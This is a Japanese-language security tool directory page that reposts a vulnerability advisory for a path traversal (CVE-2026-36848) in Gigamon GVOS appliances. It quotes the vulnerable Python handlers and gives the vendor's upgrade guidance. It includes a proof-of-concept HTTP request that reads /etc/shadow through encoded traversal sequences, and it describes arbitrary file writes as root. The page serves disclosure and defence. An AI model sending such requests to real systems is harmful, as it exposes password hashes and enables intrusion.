Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-36848 — Gigamon 未承認のリモートコード実行 (CVE-2026-36848) | Kitploit
ツール/GitHubGitHub/calligraf0/cve-2026-36848
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubcalligraf0/cve-2026-36848

CVE-2026-36848

Gigamon 未承認のリモートコード実行 (CVE-2026-36848)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-36848

Gigamon-VUE OS (GVOS) アプライアンスのポート8089で動作するWebベースの管理エンジンにおいて、重大なパストラバーサル脆弱性が特定されました。この脆弱性は、persistd デーモン内のレガシーH-VUEサブシステムに存在し、ネットワーク経由でサービスにアクセス可能な認証されていないリモート攻撃者が、root権限で任意のファイルを読み取り、部分的な書き込み操作(既存ファイルの上書きは不可)を実行することを可能にします。


1. 脆弱性概要

  • CVE ID: CVE-2026-36848
  • 対象ポート: 8089 (TornadoHTTP Web Application)
  • 脆弱コンポーネント: /opt/tms/persistd_py/persistd.py
  • 脆弱性クラス: パストラバーサル (CWE-22)
  • 影響: 任意ファイル読み取り & 部分的な任意ファイル書き込み(root ユーザーで実行)

2. 技術的コード分析と根本原因

ポート8089で動作するTornadoHTTP Webサービスは、/opt/tms/persistd_py/persistd.py 内にマッピングされたルーティング設定を実装しています。このデーモンは、データベース操作と設定バックアップを処理するための複数のルートを公開しています:

root@kitploit:~
app = tornado.web.Application([
    (r"/upload(?:/([^/]*))/?", UploadDbFile),
    (r"/download/([^/]+)/?", DownloadDbFile),
    # ... other routes
])

未サニタイズ入力の伝播

ハンドラー DownloadDbFile と UploadDbFile は、URIの正規表現キャプチャグループからユーザー提供のパスを直接取得し、フィルタリングせずに低レベルのユーティリティ関数に渡します。


2.1 ファイルダウンロードのパストラバーサル(任意ファイル読み取り)

クライアントがファイルダウンロードを要求すると、GETハンドラーが download_file ユーティリティを呼び出します:

root@kitploit:~
class DownloadDbFile(GenericApiHandler):
    @gen.coroutine
    def get(self, file_name):
        # ... [validation steps skipped for clarity] ...
        elif file_name is not None:
            msgif = yield download_file(self, file_name)

内部のターゲット関数 download_file は、安全な正規パスを解決するのではなく、単純な文字列連結を使用して要求されたファイルを開こうとします:

root@kitploit:~
@gen.coroutine
def download_file(caller, file_name):
    buf_size = 4096
    caller.set_header('Content-Type', 'application/octet-stream')
    caller.set_header('Content-Disposition', 'filename=' + file_name)
    msg = 'ok'
    try:
        # 根本原因: 直接の連結により、トラバーサルシーケンスによるディレクトリ脱出が可能
        with open(DBFILE_DIR + file_name, 'r') as f:
            while True:
                data = f.read(buf_size)
                if not data:
                    break
                caller.write(data)
    except IOError as ioe:
        msg = ioe
    raise gen.Return(msg)

サニティフィルタリング(例:.. のようなディレクトリトラバーサルシーケンスのチェック)がないため、file_name を介して注入された相対パスシーケンスは、そのまま DBFILE_DIR に連結され、システムルートを基準に解決されます。


2.2 ファイルアップロードのパストラバーサル(任意ファイル書き込み)

同様に、データベースアップロードに使用されるPUTハンドラーは、リクエストボディとユーザー定義のパスを直接 upload_file ユーティリティに渡します:

root@kitploit:~
class UploadDbFile(GenericApiHandler):
    @gen.coroutine
    def put(self, path=None):
        # ...
        if path is not None:
            msgif = yield upload_file(self.request.body, path)

upload_file ルーチンは、os.path.join を使用してターゲットパスを決定します。しかし、一般的なセキュリティの誤解として、os.path.join がトラバーサルから保護するというものがあります。実際には、os.path.join に渡されたコンポーネントが絶対パスまたは相対トラバーサルステップを含む場合、解決されたパスはベースディレクトリから脱出します:

root@kitploit:~
@gen.coroutine
def upload_file(body, path):
    msg = 'ok'
    tmp_path = None
    try:
        yield lock.acquire()
        # 脆弱なシンク1: os.path.joinはディレクトリトラバーサルシーケンスを無効化しない
        full_path = os.path.join(DBFILE_DIR, path)
        if os.path.exists(full_path):
            msg = 'dup'
        else:
            tmp_path = full_path + '.tmp'
            old_files = filesInDir(DBFILE_DIR)
            with open(tmp_path, 'wb') as out:
                out.write(bytes(body))
                # 脆弱なシンク2: rename操作は安全でない文字列連結を実行
                os.rename(tmp_path, DBFILE_DIR + path)

この構造的な入力サニタイズの欠如により、攻撃者はトラバーサルステップを含むパスを提供し、DBFILE_DIR の境界外で、デーモンを実行しているrootユーザーコンテキストの権限で任意のファイルを書き込むことが可能になります。


3. 概念実証 (PoC)

攻撃者がパス区切り文字(/ を %2F)をURLエンコードすると、ルーティングエンジンがシーケンスをスムーズにデコードおよび評価し、標準のパス制限をバイパスします。

任意ファイル読み取り (PoCリクエスト)

root@kitploit:~
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /

4. 修復策と公式ベンダー対応

以下は、この脆弱性に関するベンダーからの公式声明およびアップグレードガイダンスです:

このCVEの問題はH-VUEサブシステムのみに存在していました。GVOSバージョン6ではH-VUEサブシステムが完全に削除され、GVOS 5.16.1がこれを組み込んだ最後のバージョンです。バージョン5.16.1は2023年5月26日にサポート終了となりました。現在サポートされているGVOSのバージョンには、この脆弱性は含まれていません。

サポートされているバージョンとサポート終了日を記載したGVOSのサポートマトリックスは、こちらにあります: https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf

Gigamonの販売終了およびサポート終了ポリシーは、こちらにあります: https://www.gigamon.com/support/policies/eol-policy.html

いかなるGigamon本番環境も、サポートされていないソフトウェアバージョン(NIST SP 800-53 SA-22「サポートされていないシステムコンポーネント」)を実行すべきではありません。もし実行している場合は、Gigamonはサポートされているリリースにできるだけ早くアップグレードすることを強く推奨します。サポート対象のお客様は、Gigamonコミュニティポータルからアップグレード版のGVOSを入手できます。サポート対象外のお客様は、サポートオプションについてGigamonにご連絡ください: https://www.gigamon.com/contact-sales.html


この開示プロセスにおける卓越した調整に対し、Gigamonのプロダクトセキュリティおよびエンジニアリングチームに感謝の意を表します。

ツールをダウンロード